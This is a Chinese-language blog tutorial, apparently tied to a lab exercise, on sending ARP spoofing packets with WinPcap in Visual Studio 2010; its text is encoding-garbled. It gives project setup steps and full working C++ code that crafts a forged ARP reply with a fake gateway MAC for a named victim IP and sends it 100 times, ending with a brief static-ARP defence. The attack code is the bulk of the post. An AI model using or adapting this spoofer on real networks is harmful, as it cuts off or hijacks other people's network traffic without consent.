溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

發(fā)送arp欺騙報文(Microsoft Visual Studio 2010)

發(fā)布時間:2020-07-20 02:53:26 來源:網(wǎng)絡(luò) 閱讀:636 作者:飛飛飛jjs 欄目:網(wǎng)絡(luò)安全

        由于局域網(wǎng)的網(wǎng)絡(luò)流通不是根據(jù)IP地址進行,而是根據(jù)MAC地址進行傳輸。所以,MAC地址在A上被偽造成一個不存在的MAC地址,這樣就會導(dǎo)致網(wǎng)絡(luò)不通,A不能Ping通C!這就是一個簡單的ARP欺騙。

在每臺安裝有TCP/IP協(xié)議的電腦里都有一個ARP緩存表,表里的IP地址與MAC地址是一一對應(yīng)的,在命令提示符下,輸入“arp -a”就可以查看ARP緩存表中的內(nèi)容了發(fā)送arp欺騙報文(Microsoft Visual Studio 2010)

  注:用“arp -d”命令可以刪除ARP表的內(nèi)容;用“arp -s”可以手動在ARP表中指定IP地址與MAC地址的對應(yīng)。

配置及代碼如下:

項目-->**屬性(alt+F7)
配置屬性-->C/C++-->常規(guī)-->附加包含目錄-->(是把頭文件所在的文件路徑(Include)添加到附加目錄中C:\WpdPack\Include)


項目-->**屬性(alt+F7)
配置屬性-->鏈接器-->常規(guī)-->附加庫目錄-->(是把Packet.lib;wpcap.lib所在目錄(Lib)添加到附加庫目錄中C:\WpdPack\Lib)


項目-->**屬性(alt+F7)
配置屬性-->鏈接器-->輸入-->附加依賴項-->補充“;Packet.lib;wpcap.lib”

項目-->**屬性(alt+F7)
配置屬性-->C/C++-->預(yù)處理器-->預(yù)處理器定義-->補充“;HAVE_REMOTE”

// WinpCap Test.cpp : 定義控制臺應(yīng)用程序的入口點。
//
#include "stdafx.h"
#include <pcap.h>

int _tmain(int argc, _TCHAR* argv[])
{
    pcap_if_t * allAdapters;//適配器列表
    pcap_if_t * adapter;
    pcap_t    * adapterHandle;//適配器句柄
    u_char      packet[ 1020 ]; //待發(fā)送的數(shù)據(jù)封包
    char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩沖區(qū)

    if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
    {//檢索機器連接的所有網(wǎng)絡(luò)適配器
        fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
        return -1;
    }

    if( allAdapters == NULL )
    {//不存在任何適配器
        printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
        return 0;
    }

    int crtAdapter = 0;

    for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
    {//遍歷輸入適配器信息(名稱和描述信息)
        printf( "\n%d.%s ", ++crtAdapter, adapter->name );
        printf( "-- %s\n", adapter->description );
    }
    printf( "\n" );

    //選擇適配器
    int adapterNumber;
    printf( "Enter the adapter number between 1 and %d:", crtAdapter );
    scanf_s( "%d", &adapterNumber );

    if( adapterNumber < 1 || adapterNumber > crtAdapter )
    {
        printf( "\nAdapter number out of range.\n" );        
        pcap_freealldevs( allAdapters );// 釋放適配器列表
        return -1;
    }

    adapter = allAdapters;
    for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
        adapter = adapter->next;

    // 打開指定適配器
    adapterHandle = pcap_open( adapter->name, // name of the adapter
                               65536,         // portion of the packet to capture
                                              // 65536 guarantees that the whole
                          // packet will be captured
                               PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
                               1000,             // read timeout - 1 millisecond
                               NULL,          // authentication on the remote machine
                               errorBuffer    // error buffer
                              );
    if( adapterHandle == NULL )
    {//指定適配器打開失敗
        fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
        // 釋放適配器列表
        pcap_freealldevs( allAdapters );
        return -1;
    }

    pcap_freealldevs( allAdapters );//釋放適配器列表

    //創(chuàng)建數(shù)據(jù)封包
    packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x6c;    packet[5] = 0x58;   // 被騙計算機的mac地址
    packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x62;   packet[11] = 0x0f;   // 自己的mac地址
    packet[12] = 0x08;   packet[13] = 0x06;  // 以太網(wǎng)封裝arp協(xié)議(不用動)
    packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太網(wǎng)
    packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP協(xié)議
    packet[18] = 0x06;  // arp第3字段:代表第二層地址的長度
    packet[19] = 0x04;  // arp第4字段:代表第三層地址的長度
    packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:這是一個arp應(yīng)答報文; 下面的是arp的第6,7,8,9字段
    packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的網(wǎng)關(guān)地址,
    packet[28] = 0xac;   packet[29] = 0x1c;        packet[30] = 0x0f;   packet[31] = 0xfe;    // 網(wǎng)關(guān)的ip,這里是172.28.15.254(在本實驗室不用改)
    packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x6c;   packet[37] = 0x58;  // 被騙計算機的mac地址
    packet[38] = 0xac;   packet[39] = 0x1c;        packet[40] = 0x0f;   packet[41] = 0x13;   // 被騙計算機的IP地址,這里是172.28.15.19  (想騙誰,這里就改成誰的IP)

   
    //發(fā)送數(shù)據(jù)封包
    for(int ssde=0;ssde<100;ssde++)
    {
        pcap_sendpacket( adapterHandle, packet, 42);
        Sleep(1000);
    }

    system( "PAUSE" );
    return 0;
}

發(fā)送arp欺騙報文(Microsoft Visual Studio 2010)設(shè)置靜態(tài)物理地址,防止ARP欺騙!

arp –s 網(wǎng)關(guān)IP 網(wǎng)關(guān)MAC

可以防止arp欺騙!

發(fā)送arp欺騙報文(Microsoft Visual Studio 2010)

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI